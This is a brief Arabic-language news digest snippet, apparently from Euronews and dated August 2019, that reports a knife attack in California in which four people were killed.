| أربعة قتلى في هجوم بالسلاح الأبيض في كاليفورنيا الأميركية Posted: 08 Aug 2019 07:58 AM PDT أربعة قتلى في هجوم بالسلاح الأبيض في كاليفورنيا الأميركية... | نسخة على الإنترنت | | نسختك الخاصة من أخبار يورونيوز – 08/08/19 |
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